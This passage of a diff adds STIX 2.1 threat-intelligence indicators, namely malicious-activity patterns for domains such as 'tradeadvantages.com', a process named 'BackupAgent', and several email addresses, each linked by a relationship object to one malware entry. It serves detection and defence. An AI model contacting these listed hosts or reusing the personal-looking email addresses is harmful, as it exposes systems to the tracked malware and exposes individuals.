"indicator--68a0a5a9-642f-4a91-8dd2-024b6a47842c", + "created": "2023-10-23T15:49:48.110952Z", + "modified": "2023-10-23T15:49:48.110952Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tradeadvantages.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.110952Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1431339-aed5-49a3-b016-7aa4aad585e6", + "created": "2023-10-23T15:49:48.111183Z", + "modified": "2023-10-23T15:49:48.111183Z", + "relationship_type": "indicates", + "source_ref": "indicator--68a0a5a9-642f-4a91-8dd2-024b6a47842c", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f04aa030-fc96-46b3-8800-1694effd68e1", + "created": "2023-10-23T15:49:48.111261Z", + "modified": "2023-10-23T15:49:48.111261Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updatedadsfree.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.111261Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4d189755-c287-4240-a064-b089b2f8dab3", + "created": "2023-10-23T15:49:48.111491Z", + "modified": "2023-10-23T15:49:48.111491Z", + "relationship_type": "indicates", + "source_ref": "indicator--f04aa030-fc96-46b3-8800-1694effd68e1", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6f80847-6129-4cd2-95fd-e63fe55cb101", + "created": "2023-10-23T15:49:48.111566Z", + "modified": "2023-10-23T15:49:48.111566Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='topographyupdates.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.111566Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73a9d698-fc9e-4678-ad57-9b41bb54d928", + "created": "2023-10-23T15:49:48.111805Z", + "modified": "2023-10-23T15:49:48.111805Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6f80847-6129-4cd2-95fd-e63fe55cb101", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf2bf6e7-0d84-4bac-ad8f-3e0b208bab56", + "created": "2023-10-23T15:49:48.111882Z", + "modified": "2023-10-23T15:49:48.111882Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kickoffortea.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.111882Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3ea9172a-1cde-4ee8-9c4b-b1e71683716e", + "created": "2023-10-23T15:49:48.112232Z", + "modified": "2023-10-23T15:49:48.112232Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf2bf6e7-0d84-4bac-ad8f-3e0b208bab56", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c164ff7-6454-4045-b82b-e082591a54cb", + "created": "2023-10-23T15:49:48.112323Z", + "modified": "2023-10-23T15:49:48.112323Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tenvmms.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.112323Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b858bf25-ccfd-45b7-acb2-312433cfcbd3", + "created": "2023-10-23T15:49:48.112579Z", + "modified": "2023-10-23T15:49:48.112579Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c164ff7-6454-4045-b82b-e082591a54cb", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25cb27dd-8c39-4e05-821c-49ab0db967fa", + "created": "2023-10-23T15:49:48.112659Z", + "modified": "2023-10-23T15:49:48.112659Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mediumgates.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.112659Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ecaec34e-f64b-4fb0-b138-f4128f6dc89f", + "created": "2023-10-23T15:49:48.112909Z", + "modified": "2023-10-23T15:49:48.112909Z", + "relationship_type": "indicates", + "source_ref": "indicator--25cb27dd-8c39-4e05-821c-49ab0db967fa", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f03aa647-cd35-4938-bf2e-506a49285362", + "created": "2023-10-23T15:49:48.112986Z", + "modified": "2023-10-23T15:49:48.112986Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='haidishabu.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.112986Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--778cf327-1844-4a0c-9410-9d046ef4cf56", + "created": "2023-10-23T15:49:48.113223Z", + "modified": "2023-10-23T15:49:48.113223Z", + "relationship_type": "indicates", + "source_ref": "indicator--f03aa647-cd35-4938-bf2e-506a49285362", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a7d40bec-4d2b-4aa4-bccd-10aa53b583b1", + "created": "2023-10-23T15:49:48.113299Z", + "modified": "2023-10-23T15:49:48.113299Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='click-farm.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.113299Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c972ec6-b159-450e-911c-b2b08c6b7ad3", + "created": "2023-10-23T15:49:48.113536Z", + "modified": "2023-10-23T15:49:48.113536Z", + "relationship_type": "indicates", + "source_ref": "indicator--a7d40bec-4d2b-4aa4-bccd-10aa53b583b1", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81bce63c-cbe3-417d-8559-84f0e37646c2", + "created": "2023-10-23T15:49:48.113611Z", + "modified": "2023-10-23T15:49:48.113611Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onlineadvalue.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.113611Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ad33422f-06fc-47ae-99c3-c0cefb930cd5", + "created": "2023-10-23T15:49:48.114293Z", + "modified": "2023-10-23T15:49:48.114293Z", + "relationship_type": "indicates", + "source_ref": "indicator--81bce63c-cbe3-417d-8559-84f0e37646c2", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5e40427a-e68e-4f36-909f-24b33ebf63a3", + "created": "2023-10-23T15:49:48.114376Z", + "modified": "2023-10-23T15:49:48.114376Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adsspacefree.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.114376Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d29cb220-b18d-4e23-a2fd-614eacdcee74", + "created": "2023-10-23T15:49:48.114617Z", + "modified": "2023-10-23T15:49:48.114617Z", + "relationship_type": "indicates", + "source_ref": "indicator--5e40427a-e68e-4f36-909f-24b33ebf63a3", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1b10caa6-176a-4ff7-8a41-d192651f3c6c", + "created": "2023-10-23T15:49:48.114696Z", + "modified": "2023-10-23T15:49:48.114696Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='addatamarket.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.114696Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b59a7974-4074-4e86-a7d3-3fc751f35b11", + "created": "2023-10-23T15:49:48.114933Z", + "modified": "2023-10-23T15:49:48.114933Z", + "relationship_type": "indicates", + "source_ref": "indicator--1b10caa6-176a-4ff7-8a41-d192651f3c6c", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--19859c31-b8c1-4049-86c0-32830076a926", + "created": "2023-10-23T15:49:48.115009Z", + "modified": "2023-10-23T15:49:48.115009Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cruxness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.115009Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c461d96a-fe0b-4366-800d-8c7f75114003", + "created": "2023-10-23T15:49:48.115275Z", + "modified": "2023-10-23T15:49:48.115275Z", + "relationship_type": "indicates", + "source_ref": "indicator--19859c31-b8c1-4049-86c0-32830076a926", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4da6f357-317c-4a95-bd70-17e96d6e6a6b", + "created": "2023-10-23T15:49:48.115354Z", + "modified": "2023-10-23T15:49:48.115354Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='statherder.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.115354Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e23b008e-f72a-4fa1-a4dd-e46e35ace44c", + "created": "2023-10-23T15:49:48.115595Z", + "modified": "2023-10-23T15:49:48.115595Z", + "relationship_type": "indicates", + "source_ref": "indicator--4da6f357-317c-4a95-bd70-17e96d6e6a6b", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a0931780-2b50-4c4e-ad1e-a72615663528", + "created": "2023-10-23T15:49:48.115673Z", + "modified": "2023-10-23T15:49:48.115673Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yuxbaozh1.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.115673Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--09b2a761-aa71-4ca6-a57f-6bf180e974ab", + "created": "2023-10-23T15:49:48.115934Z", + "modified": "2023-10-23T15:49:48.115934Z", + "relationship_type": "indicates", + "source_ref": "indicator--a0931780-2b50-4c4e-ad1e-a72615663528", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3e0e286-7282-4c3f-9341-78c3a75bb489", + "created": "2023-10-23T15:49:48.11601Z", + "modified": "2023-10-23T15:49:48.11601Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adtreks.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.11601Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fe86203e-25b5-48b9-8656-558c59bd5571", + "created": "2023-10-23T15:49:48.116242Z", + "modified": "2023-10-23T15:49:48.116242Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3e0e286-7282-4c3f-9341-78c3a75bb489", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--909c5a7b-fc8a-454a-b53c-ff606a283059", + "created": "2023-10-23T15:49:48.116316Z", + "modified": "2023-10-23T15:49:48.116316Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='edgeserverapi.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.116316Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9255ac4-63ec-43fa-9d80-dd402e502c74", + "created": "2023-10-23T15:49:48.116587Z", + "modified": "2023-10-23T15:49:48.116587Z", + "relationship_type": "indicates", + "source_ref": "indicator--909c5a7b-fc8a-454a-b53c-ff606a283059", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d04118c-bca2-4245-a19b-9fbebd6b1a37", + "created": "2023-10-23T15:49:48.116664Z", + "modified": "2023-10-23T15:49:48.116664Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mysyncs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.116664Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--edf3d1f3-9ac5-4725-ac58-425681810214", + "created": "2023-10-23T15:49:48.116898Z", + "modified": "2023-10-23T15:49:48.116898Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d04118c-bca2-4245-a19b-9fbebd6b1a37", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7e1405f-414e-45b3-8719-f1a840339634", + "created": "2023-10-23T15:49:48.116972Z", + "modified": "2023-10-23T15:49:48.116972Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pleekerion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.116972Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c22579f3-4cf6-43c9-b89c-a41c0dcb4db7", + "created": "2023-10-23T15:49:48.11724Z", + "modified": "2023-10-23T15:49:48.11724Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7e1405f-414e-45b3-8719-f1a840339634", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad8642c3-0c26-4b05-bd5d-3a56e79e90c1", + "created": "2023-10-23T15:49:48.117321Z", + "modified": "2023-10-23T15:49:48.117321Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='titanhound.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.117321Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30eddd07-416f-4497-8ce5-b7c92d11146d", + "created": "2023-10-23T15:49:48.117633Z", + "modified": "2023-10-23T15:49:48.117633Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad8642c3-0c26-4b05-bd5d-3a56e79e90c1", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--348a9558-806e-404a-8169-d0e9443f43eb", + "created": "2023-10-23T15:49:48.117712Z", + "modified": "2023-10-23T15:49:48.117712Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='freeadvertisementsonline.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.117712Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a188ef83-6e2c-4436-9309-453959f8f6d1", + "created": "2023-10-23T15:49:48.117956Z", + "modified": "2023-10-23T15:49:48.117956Z", + "relationship_type": "indicates", + "source_ref": "indicator--348a9558-806e-404a-8169-d0e9443f43eb", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--533331a2-8558-4716-a345-49a1e897c0b3", + "created": "2023-10-23T15:49:48.118032Z", + "modified": "2023-10-23T15:49:48.118032Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stretchingnoun.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.118032Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fde08a95-726d-41ba-8576-8488e1ed287f", + "created": "2023-10-23T15:49:48.118271Z", + "modified": "2023-10-23T15:49:48.118271Z", + "relationship_type": "indicates", + "source_ref": "indicator--533331a2-8558-4716-a345-49a1e897c0b3", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c24a5d4-5b06-4206-89f9-06bafb530198", + "created": "2023-10-23T15:49:48.118346Z", + "modified": "2023-10-23T15:49:48.118346Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='anstv.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.118346Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8822051b-5b36-4f5f-8e00-8f8e3ee93b44", + "created": "2023-10-23T15:49:48.118576Z", + "modified": "2023-10-23T15:49:48.118576Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c24a5d4-5b06-4206-89f9-06bafb530198", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4944a04-3ebf-4a4e-a96f-cc5dfb7e4d65", + "created": "2023-10-23T15:49:48.118653Z", + "modified": "2023-10-23T15:49:48.118653Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloudsponcer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.118653Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--036935bb-c8fe-4e2d-b1da-6bdc04effd33", + "created": "2023-10-23T15:49:48.118885Z", + "modified": "2023-10-23T15:49:48.118885Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4944a04-3ebf-4a4e-a96f-cc5dfb7e4d65", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c4dc2f0-92f2-4b70-94dc-c49492526590", + "created": "2023-10-23T15:49:48.11896Z", + "modified": "2023-10-23T15:49:48.11896Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[process:name='BackupAgent']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.11896Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4647e497-0682-4105-bda1-5129735ba8e3", + "created": "2023-10-23T15:49:48.119465Z", + "modified": "2023-10-23T15:49:48.119465Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c4dc2f0-92f2-4b70-94dc-c49492526590", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c2bca44-ae4c-449f-8823-6a25a860b0f5", + "created": "2023-10-23T15:49:48.119542Z", + "modified": "2023-10-23T15:49:48.119542Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='nonbaguette@yahoo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.119542Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9fdd00c-3d90-4d4d-bc1c-688994e852f9", + "created": "2023-10-23T15:49:48.119885Z", + "modified": "2023-10-23T15:49:48.119885Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c2bca44-ae4c-449f-8823-6a25a860b0f5", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--87df81c5-30ab-4544-91f8-d74a9feef7a2", + "created": "2023-10-23T15:49:48.119961Z", + "modified": "2023-10-23T15:49:48.119961Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='sasquatchdreams@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.119961Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--90f6966b-1a7f-41cc-8f96-2cc0436fbbf5", + "created": "2023-10-23T15:49:48.120227Z", + "modified": "2023-10-23T15:49:48.120227Z", + "relationship_type": "indicates", + "source_ref": "indicator--87df81c5-30ab-4544-91f8-d74a9feef7a2", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b1960518-e9d4-476b-a5a8-2e7af5a3b993", + "created": "2023-10-23T15:49:48.120302Z", + "modified": "2023-10-23T15:49:48.120302Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='slbrimms96@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.120302Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7e5bec57-5747-4059-9efa-3ee066599cc5", + "created": "2023-10-23T15:49:48.120564Z", + "modified": "2023-10-23T15:49:48.120564Z", + "relationship_type": "indicates", + "source_ref": "indicator--b1960518-e9d4-476b-a5a8-2e7af5a3b993", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd9c8537-693f-4758-a397-90c18eefcbd8", + "created": "2023-10-23T15:49:48.12064Z", + "modified": "2023-10-23T15:49:48.12064Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='shannonkelly404@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.12064Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf3847ee-f050-430b-a6a1-257f8e48ac1a", + "created": "2023-10-23T15:49:48.120981Z", + "modified": "2023-10-23T15:49:48.120981Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd9c8537-693f-4758-a397-90c18eefcbd8", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99758b40-2d71-4f1b-9c51-6cd95a9ea145", + "created": "2023-10-23T15:49:48.12106Z", + "modified": "2023-10-23T15:49:48.12106Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='patriotsman121@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.12106Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57c9198e-87a2-48d9-9461-b07cd76829dc", + "created": "2023-10-23T15:49:48.121306Z", + "modified": "2023-10-23T15:49:48.121306Z", + "relationship_type": "indicates", + "source_ref": "indicator--99758b40-2d71-4f1b-9c51-6cd95a9ea145", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07d9f7a6-561d-4b29-96a5-fa977762acce", + "created": "2023-10-23T15:49:48.121384Z", + "modified": "2023-10-23T15:49:48.121384Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='carlson31773@outlook.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.121384Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44631c77-c964-4ec6-9397-30eb0acdd6e9", + "created": "2023-10-23T15:49:48.121619Z", + "modified": "2023-10-23T15:49:48.121619Z", + "relationship_type": "indicates", + "source_ref": "indicator--07d9f7a6-561d-4b29-96a5-fa977762acce", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd48cf19-a479-4f68-8c81-4fa1e9ef4a42", + "created": "2023-10-23T15:49:48.121693Z", + "modified": "2023-10-23T15:49:48.121693Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='tinyjax89@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.121693Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--338b8bb0-7ec5-49f7-b626-1ad5bef5b956", + "created": "2023-10-23T15:49:48.121955Z", + "modified": "2023-10-23T15:49:48.121955Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd48cf19-a479-4f68-8c81-4fa1e9ef4a42", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c14bcc52-e53e-4277-a41b-2872ae2a53fa", + "created": "2023-10-23T15:49:48.122035Z", + "modified": "2023-10-23T15:49:48.122035Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='parkourdiva@yahoo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.122035Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9137d307-7cb0-4898-ac2b-6802e15699e3", + "created": "2023-10-23T15:49:48.122269Z", + "modified": "2023-10-23T15:49:48.122269Z", + "relationship_type": "indicates", + "source_ref": "indicator--c14bcc52-e53e-4277-a41b-2872ae2a53fa", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4f80ffdb-3d03-4245-919e-018e51292c97", + "created": "2023-10-23T15:49:48.122343Z", + "modified": "2023-10-23T15:49:48.122343Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='jesteristhebestband@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.122343Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b48e9094-688d-4627-a31e-94f46d95c537", + "created": "2023-10-23T15:49:48.122618Z", + "modified": "2023-10-23T15:49:48.122618Z", + "relationship_type": "indicates", + "source_ref": "indicator--4f80ffdb-3d03-4245-919e-018e51292c97", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7247b03-b674-49ed-bb01-1ea3751a6a72", + "created": "2023-10-23T15:49:48.122697Z", + "modified": "2023-10-23T15:49:48.122697Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='christineashleysmith@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.122697Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5148228a-eeff-4cf6-b100-f7d545609b61", + "created": "2023-10-23T15:49:48.122943Z", + "modified": "2023-10-23T15:49:48.122943Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7247b03-b674-49ed-bb01-1ea3751a6a72", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--334271cc-bcb8-463d-be1a-50f38cf055aa", + "created": "2023-10-23T15:49:48.123017Z", + "modified": "2023-10-23T15:49:48.123017Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='travislong544@yahoo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.123017Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f63766b-cec2-4da1-95fa-711417a325d6", + "created": "2023-10-23T15:49:48.123281Z", + "modified": "2023-10-23T15:49:48.123281Z", + "relationship_type": "indicates", + "source_ref": "indicator--334271cc-bcb8-463d-be1a-50f38cf055aa", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b73563b4-1eff-4573-9412-06a3ed45b381", + "created": "2023-10-23T15:49:48.123355Z", + "modified": "2023-10-23T15:49:48.123355Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='wopperplopper1@aol.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.123355Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d8b98b69-41a0-43b0-b67a-ec5bbd272719", + "created": "2023-10-23T15:49:48.123593Z", + "modified": "2023-10-23T15:49:48.123593Z", + "relationship_type": "indicates", + "source_ref": "indicator--b73563b4-1eff-4573-9412-06a3ed45b381", + "target_ref": "malware--01e5af02-75fd-44f4-890a-d3b6efee9c64" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59740bd9-e633-4996-ae62-725c18fea723", + "created": "2023-10-23T15:49:48.123668Z", + "modified": "2023-10-23T15:49:48.123668Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[email-addr:value='hyechink97@gmail.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-10-23T15:49:48.123668Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--375aee57-9fa4-4bc2-b100-c39692772e1a", + "created": "2023-10-23T15:49:48.123903Z", + "modified": "2023-10-23T15:49:48.123903Z", + "relationship_type": "indicates", + "source_ref": "indicator--59740bd9-e633-4996-ae62-725c18fea723", + "target_ref": 